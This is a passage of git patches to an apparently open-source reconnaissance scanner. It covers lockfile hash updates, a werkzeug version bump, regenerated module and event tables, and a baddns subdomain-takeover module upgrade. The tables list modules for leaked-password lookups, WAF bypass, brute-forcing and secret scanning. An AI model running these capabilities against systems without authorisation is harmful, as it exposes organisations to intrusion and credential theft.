"https://files.pythonhosted.org/packages/62/14/9940763201c51d537786304984c67d0fc3d2ed18837ffb6f09a869f6b6c9/regex-2026.9.29-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:044265d77d94f5e3cb2fd72c76723807c429cb8c533e9d4672d0334a6f14f588", size = 881527, upload-time = "2026-09-29T00:48:15.313Z" }, + { url = "https://files.pythonhosted.org/packages/d3/e1/c842d8df0b23245ebf202f8ab9c39fd48e2db39959454ec39a41c8c72082/regex-2026.9.29-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2089fe39c406784d90101c726755ffa1497bb74638fd434300d2b88006186de8", size = 923115, upload-time = "2026-09-29T00:48:17.328Z" }, + { url = "https://files.pythonhosted.org/packages/d8/c1/98622479e3c354a446a75232e522d747d2b3df23092dcd8a5309380a2020/regex-2026.9.29-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0def9fb6abac55492d6d51cddb7225d07d6f279e774e0adc08569a54a5fc8d46", size = 820674, upload-time = "2026-09-29T00:48:19.32Z" }, + { url = "https://files.pythonhosted.org/packages/6c/d0/5808c95f9c79ed27b5eedaafc3df6239ec56a49f2e23ea8f831b18427c82/regex-2026.9.29-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:888d60953908dcf761aa320c3e390ab8556efbdb551ace63921de90f6ae0848d", size = 793306, upload-time = "2026-09-29T00:48:21.615Z" }, + { url = "https://files.pythonhosted.org/packages/bf/d3/021ca2638671ad20603bcd9b4d5bfa35d2610cd216a043ea7f0b44ea39f6/regex-2026.9.29-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:ed511a0708e2297e1d6431e7fb217e3402791e491e02da800658ace4973df1bb", size = 803103, upload-time = "2026-09-29T00:48:23.871Z" }, + { url = "https://files.pythonhosted.org/packages/6b/2d/755c6d13ef9c657378013676c391c7a402166b3f419a464a3e058dcbe533/regex-2026.9.29-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:e1172147d28d8fbcf8cb8d26c41506169f5ad8fe9ec969cb116835a19d4d8eca", size = 872175, upload-time = "2026-09-29T00:48:26.255Z" }, + { url = "https://files.pythonhosted.org/packages/6c/fc/e1cab183b9dafe8597f58c1c766da9bf96204d3b2f232bcf3eeb75ff7b6c/regex-2026.9.29-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:92f05c9c42bde5785dc48770bc2194d9f7442544156f951e19cd31b096cec562", size = 777362, upload-time = "2026-09-29T00:48:28.389Z" }, + { url = "https://files.pythonhosted.org/packages/06/7c/e10ea17fba31fb4a1f9d13ed53a2d2a9066a2aea58d7557e263f6d99e7b0/regex-2026.9.29-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:f37964e4a5e993d2fd45147741e9dff7f34a2d8c00ab94c4ea0514a4677f959e", size = 865606, upload-time = "2026-09-29T00:48:30.4Z" }, + { url = "https://files.pythonhosted.org/packages/8e/6e/69824d9aee1fd41c54ea7264654a47c8d9d84d8a228e11c2bcf4c201ed81/regex-2026.9.29-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:951733b1bbdb71e377cec567b409f1a7881b47cfcad84121aa74cb575fa425ea", size = 807945, upload-time = "2026-09-29T00:48:32.375Z" }, + { url = "https://files.pythonhosted.org/packages/89/22/857050a86e21ce60193e02a8ef662521f2e263a645c8b1b905fc136b61a7/regex-2026.9.29-cp314-cp314t-win32.whl", hash = "sha256:65b408d8fcb273e3499e7ef2ce796810da1becd208c7fb4373692a242d79d461", size = 276758, upload-time = "2026-09-29T00:48:34.72Z" }, + { url = "https://files.pythonhosted.org/packages/4d/96/56808fe029553d7d4c703414f2a527faad2ea2bfa9ca094a2e7f8762b530/regex-2026.9.29-cp314-cp314t-win_amd64.whl", hash = "sha256:bf48516e35cf848390ea68850aba53e7c333720d2945b4d2c25b69fc5171723f", size = 286527, upload-time = "2026-09-29T00:48:36.864Z" }, + { url = "https://files.pythonhosted.org/packages/01/aa/074e2cfb3d8101a6a764aba5f7c5d1e21de087483e35bdc0c4ce2eb60364/regex-2026.9.29-cp314-cp314t-win_arm64.whl", hash = "sha256:9173db3be74a35cb6731701094b98120f7ee4876a287882a59cdea1fa7da342f", size = 285954, upload-time = "2026-09-29T00:48:38.901Z" }, ] [[package]] From e70cc3327ff140c6631fdd62f57324eea264d17e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 8 Oct 2026 10:50:07 -0400 Subject: [PATCH 143/256] Bump werkzeug from 3.1.8 to 3.1.9 (#3490) Bumps [werkzeug](https://github.com/pallets/werkzeug) from 3.1.8 to 3.1.9. - [Release notes](https://github.com/pallets/werkzeug/releases) - [Changelog](https://github.com/pallets/werkzeug/blob/main/CHANGES.rst) - [Commits](https://github.com/pallets/werkzeug/compare/3.1.8...3.1.9) --- updated-dependencies: - dependency-name: werkzeug dependency-version: 3.1.9 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 5af6e049bb..4cab5e3125 100644 --- a/uv.lock +++ b/uv.lock @@ -3422,14 +3422,14 @@ wheels = [ [[package]] name = "werkzeug" -version = "3.1.8" +version = "3.1.9" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "markupsafe" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/dd/b2/381be8cfdee792dd117872481b6e378f85c957dd7c5bca38897b08f765fd/werkzeug-3.1.8.tar.gz", hash = "sha256:9bad61a4268dac112f1c5cd4630a56ede601b6ed420300677a869083d70a4c44", size = 875852, upload-time = "2026-04-02T18:49:14.268Z" } +sdist = { url = "https://files.pythonhosted.org/packages/a4/34/4dd12fc8bb7d61c91467ec3efe415ffa7d5456f799954b40c5bbaeae470e/werkzeug-3.1.9.tar.gz", hash = "sha256:55ca7c70a75689be937aa27f8ff4b018f06ff4838fc73045560bf0f5a1291060", size = 940188, upload-time = "2026-09-27T18:33:41.637Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/93/8c/2e650f2afeb7ee576912636c23ddb621c91ac6a98e66dc8d29c3c69446e1/werkzeug-3.1.8-py3-none-any.whl", hash = "sha256:63a77fb8892bf28ebc3178683445222aa500e48ebad5ec77b0ad80f8726b1f50", size = 226459, upload-time = "2026-04-02T18:49:12.72Z" }, + { url = "https://files.pythonhosted.org/packages/a1/38/df03f564f43cec2684823f3cccae1a652ee7face1cbaa76fb223096e64d7/werkzeug-3.1.9-py3-none-any.whl", hash = "sha256:6392e50c78460ba618e5b21f08a71f59c99ce99cdc6cf6e3dd7e6ccca8754fab", size = 228700, upload-time = "2026-09-27T18:33:39.685Z" }, ] [[package]] From ce6decfc442100343cd188fe5b999974fe95afd7 Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Thu, 8 Oct 2026 10:50:30 -0400 Subject: [PATCH 144/256] [create-pull-request] automated change (#3509) --- docs/data/chord_graph/entities.json | 2 + docs/data/chord_graph/rels.json | 5 ++ docs/modules/list_of_modules.md | 2 +- docs/scanning/configuration.md | 3 +- docs/scanning/events.md | 72 ++++++++++++++--------------- 5 files changed, 46 insertions(+), 38 deletions(-) diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index 9ec790465f..475a327135 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -250,6 +250,7 @@ 34, 37, 69, + 72, 78, 79, 87, @@ -1236,6 +1237,7 @@ 73 ], "produces": [ + 4, 20, 74 ] diff --git a/docs/data/chord_graph/rels.json b/docs/data/chord_graph/rels.json index 938d9eb99f..49b873a6ab 100644 --- a/docs/data/chord_graph/rels.json +++ b/docs/data/chord_graph/rels.json @@ -714,6 +714,11 @@ "target": 73, "type": "consumes" }, + { + "source": 4, + "target": 72, + "type": "produces" + }, { "source": 20, "target": 72, diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 66027149b4..655111d062 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -151,7 +151,7 @@ | dnsresolve | internal | No | Perform DNS resolution | | * | DNS_NAME, IP_ADDRESS, IP_RANGE, RAW_DNS_RECORD | @TheTechromancer | 2022-04-08 | | python | internal | No | Output via Python API | | * | | @TheTechromancer | 2022-09-13 | | aggregate | internal | No | Summarize statistics at the end of a scan | passive, safe | | | @TheTechromancer | 2022-07-25 | -| excavate | internal | No | Passively extract juicy tidbits from scan data | passive, safe | HTTP_RESPONSE, RAW_TEXT | URL_UNVERIFIED, WEB_PARAMETER | @liquidsec | 2022-06-27 | +| excavate | internal | No | Passively extract juicy tidbits from scan data | passive, safe | HTTP_RESPONSE, RAW_TEXT | FINDING, URL_UNVERIFIED, WEB_PARAMETER | @liquidsec | 2022-06-27 | | speculate | internal | No | Derive certain event types from others by common sense | passive, safe | AZURE_TENANT, DNS_NAME, DNS_NAME_UNRESOLVED, HTTP_RESPONSE, IP_ADDRESS, IP_RANGE, SOCIAL, STORAGE_BUCKET, URL, URL_UNVERIFIED, USERNAME | DNS_NAME, FINDING, IP_ADDRESS, OPEN_TCP_PORT, ORG_STUB | @liquidsec | 2022-05-03 | | unarchive | internal | No | Extract different types of files into folders on the filesystem | passive, safe | FILESYSTEM | FILESYSTEM | @domwhewell-sage | 2024-12-08 | diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 2f8272988f..7d2fcbc7b7 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -694,7 +694,7 @@ In addition to the stated options for each module, the following universal optio | modules.trufflehog.config | str | File path or URL to YAML trufflehog config | | | modules.trufflehog.deleted_forks | bool | Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours. | False | | modules.trufflehog.only_verified | bool | Only report credentials that have been verified | True | -| modules.trufflehog.version | str | trufflehog version | 3.98.0 | +| modules.trufflehog.version | str | trufflehog version | 3.99.0 | | modules.urlscan.urls | bool | Emit URLs in addition to DNS_NAMEs | False | | modules.virustotal.api_key | str | list[str] | VirusTotal API Key | | | modules.wayback.archive | bool | fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true) | False | @@ -782,6 +782,7 @@ In addition to the stated options for each module, the following universal optio | modules.websocket.url | str | Web URL | | | modules.zeromq.zmq_address | str | The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555) | | | modules.excavate.custom_yara_rules | str | Include custom Yara rules | | +| modules.excavate.long_redirect_threshold | int | Minimum number of bytes following the end of the HTML document for a 3xx response to be reported as a long redirection response. Set to 0 to disable the check. | 2048 | | modules.excavate.max_form_bytes | int |` Maximum byte slice of the response body searched for a single body. YARA only locates form openings; the bounded slice is what the Python re-based extractor scans for fields. Caps worst-case extraction work per form match. `| 262144 | | modules.excavate.speculate_params | bool | Enable speculative parameter extraction from JSON and XML content | False | | modules.excavate.yara_max_match_data | int | Sets the maximum amount of text that can extracted from a YARA regex | 2000 | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index e76a28c6dd..bcc6ecdb9c 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -126,42 +126,42 @@ Below is a full list of event types along with which modules produce/consume the ## List of Event Types -| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | -|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | -| ASN | 0 | 1 | | asn | -| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | -| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | -| DNS_NAME | 57 | 39 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | -| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | -| DNS_NAME_UNVERIFIED | 0 | 1 | | virtualhost | -| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | -| FINDING | 2 | 40 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, js_unpacker, legba, lightfuzz, medusa, newsletters, nowafpls, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, waf_bypass, wayback | -| GEOLOCATION | 0 | 2 | | ip2location, ipstack | -| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | -| HTTP_RESPONSE | 19 | 5 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, js_unpacker, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog | http, js_unpacker, lightfuzz, virtualhost, wayback | -| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | -| IP_RANGE | 2 | 1 | portscan, speculate | dnsresolve | -| MOBILE_APP | 1 | 1 | apkpure | google_playstore | -| OPEN_TCP_PORT | 5 | 6 | asset_inventory, fingerprintx, http, nmap_xml, portfilter | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | -| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | -| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | -| PASSWORD | 0 | 2 | | credshed, dehashed | -| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | -| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | -| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | -| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | -| TECHNOLOGY | 4 | 9 | asset_inventory, gitlab_onprem, trajan, web_report | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb | -| URL | 26 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, nowafpls, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, wayback, web_report, webbrute | gowitness, http | -| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | -| URL_UNVERIFIED | 9 | 20 | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, js_unpacker, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames | -| USERNAME | 1 | 2 | speculate | credshed, dehashed | -| VIRTUAL_HOST | 0 | 1 | | virtualhost | -| WAF | 1 | 1 | asset_inventory | wafw00f | -| WEBSCREENSHOT | 0 | 1 | | gowitness | -| WEB_PARAMETER | 7 | 5 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers, wayback | +| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | +|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | +| ASN | 0 | 1 | | asn | +| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | +| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | +| DNS_NAME | 57 | 39 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | +| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | +| DNS_NAME_UNVERIFIED | 0 | 1 | | virtualhost | +| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | +| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FINDING | 2 | 41 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, excavate, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, js_unpacker, legba, lightfuzz, medusa, newsletters, nowafpls, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, waf_bypass, wayback | +| GEOLOCATION | 0 | 2 | | ip2location, ipstack | +| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | +| HTTP_RESPONSE | 19 | 5 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, js_unpacker, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog | http, js_unpacker, lightfuzz, virtualhost, wayback | +| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | +| IP_RANGE | 2 | 1 | portscan, speculate | dnsresolve | +| MOBILE_APP | 1 | 1 | apkpure | google_playstore | +| OPEN_TCP_PORT | 5 | 6 | asset_inventory, fingerprintx, http, nmap_xml, portfilter | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | +| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | +| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | +| PASSWORD | 0 | 2 | | credshed, dehashed | +| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | +| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | +| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | +| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | +| TECHNOLOGY | 4 | 9 | asset_inventory, gitlab_onprem, trajan, web_report | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb | +| URL | 26 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, nowafpls, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, wayback, web_report, webbrute | gowitness, http | +| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | +| URL_UNVERIFIED | 9 | 20 | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, js_unpacker, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames | +| USERNAME | 1 | 2 | speculate | credshed, dehashed | +| VIRTUAL_HOST | 0 | 1 | | virtualhost | +| WAF | 1 | 1 | asset_inventory | wafw00f | +| WEBSCREENSHOT | 0 | 1 | | gowitness | +| WEB_PARAMETER | 7 | 5 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers, wayback | [Next Up: Output -->](./output.md){ .md-button .md-button--primary } From cebc4631aa58aa50277fffc2303704bbeb66ca6b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 9 Oct 2026 14:55:02 -0400 Subject: [PATCH 145/256] baddns: update to 2.5.0 - Require baddns ~=2.5.0 and cap blastdns at <2.1 to match baddns's own ceiling; drop the temporary uv override-dependencies block - NS is now HIGH/CONFIRMED, and the new DELEGATION submodule is added to the severity/confidence tables - Enable DELEGATION by default, in the module and both presets - Pass baddns's batched YARA word matcher - Update fixtures for the rewritten bigcartel and aws-bucket signatures - Add DELEGATION module tests --- bbot/modules/baddns.py | 16 +++- bbot/modules/baddns_direct.py | 2 +- bbot/modules/baddns_zone.py | 2 +- bbot/presets/baddns-heavy.yml | 2 +- bbot/presets/baddns.yml | 2 +- .../module_tests/test_module_baddns.py | 95 ++++++++++++++++++- .../module_tests/test_module_baddns_direct.py | 8 +- docs/scanning/configuration.md | 12 ++- docs/scanning/presets_list.md | 4 +- pyproject.toml | 8 +- uv.lock | 14 ++- 11 files changed, 129 insertions(+), 36 deletions(-) diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index ddc86ab3a4..e650dacafc 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -1,5 +1,6 @@ from baddns.base import get_all_modules from baddns.lib.loader import load_signatures +from baddns.lib.matcher import WordMatcher from .base import BaseModule import logging @@ -11,7 +12,7 @@ SUBMODULE_MAX_SEVERITY = { "CNAME": "MEDIUM", - "NS": "MEDIUM", + "NS": "HIGH", "MX": "MEDIUM", "TXT": "LOW", "references": "MEDIUM", @@ -21,11 +22,12 @@ "SPF": "MEDIUM", "MTA-STS": "HIGH", "WILDCARD": "HIGH", + "DELEGATION": "HIGH", } SUBMODULE_MAX_CONFIDENCE = { "CNAME": "CONFIRMED", - "NS": "HIGH", + "NS": "CONFIRMED", "MX": "CONFIRMED", "TXT": "CONFIRMED", "references": "CONFIRMED", @@ -35,6 +37,7 @@ "SPF": "CONFIRMED", "MTA-STS": "CONFIRMED", "WILDCARD": "CONFIRMED", + "DELEGATION": "CONFIRMED", } @@ -56,11 +59,11 @@ class Config(BaseModuleConfig): min_confidence: ConfidenceLiteral = Field("MEDIUM", description="Minimum confidence to emit") enabled_submodules: list[str] = Field( default_factory=list, - description="A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", + description="A list of submodules to enable. Empty list (default) enables CNAME, MX, TXT and DELEGATION Only", ) module_threads = 8 - deps_pip = ["baddns~=2.4.0"] + deps_pip = ["baddns~=2.5.0"] def select_modules(self): selected_submodules = [] @@ -72,7 +75,7 @@ def select_modules(self): def set_modules(self): self.enabled_submodules = self.config.get("enabled_submodules", []) if self.enabled_submodules == []: - self.enabled_submodules = ["CNAME", "MX", "TXT"] + self.enabled_submodules = ["CNAME", "MX", "TXT", "DELEGATION"] def _filter_submodules(self): filtered = [] @@ -112,6 +115,8 @@ async def setup(self): self._min_sev_idx = SEVERITY_LEVELS.index(min_severity) self._min_conf_idx = CONFIDENCE_LEVELS.index(min_confidence) self.signatures = load_signatures() + # one batched YARA pass per response instead of each signature's words in turn + self.word_matcher = WordMatcher(self.signatures) self.set_modules() self.enabled_submodules = self._filter_submodules() if not self.enabled_submodules: @@ -144,6 +149,7 @@ async def handle_event(self, event): "dns_client": self.scan.helpers.dns.blastdns, "custom_nameservers": self.custom_nameservers, "signatures": self.signatures, + "word_matcher": self.word_matcher, } if ModuleClass.name == "NS": diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 584d3f7763..73d36f0322 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -22,7 +22,7 @@ class Config(BaseModuleConfig): ) module_threads = 8 - deps_pip = ["baddns~=2.4.0"] + deps_pip = ["baddns~=2.5.0"] scope_distance_modifier = 1 diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index 9277be5e1e..081dc10fb7 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -22,7 +22,7 @@ class Config(BaseModuleConfig): ) module_threads = 8 - deps_pip = ["baddns~=2.4.0"] + deps_pip = ["baddns~=2.5.0"] def set_modules(self): self.enabled_submodules = ["NSEC", "zonetransfer"] diff --git a/bbot/presets/baddns-heavy.yml b/bbot/presets/baddns-heavy.yml index bb683a9d0a..5e23fb39d5 100644 --- a/bbot/presets/baddns-heavy.yml +++ b/bbot/presets/baddns-heavy.yml @@ -10,7 +10,7 @@ modules: config: modules: baddns: - enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD] + enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD, DELEGATION] min_severity: INFO min_confidence: UNKNOWN baddns_zone: diff --git a/bbot/presets/baddns.yml b/bbot/presets/baddns.yml index d6e0cf76aa..723c7582e7 100644 --- a/bbot/presets/baddns.yml +++ 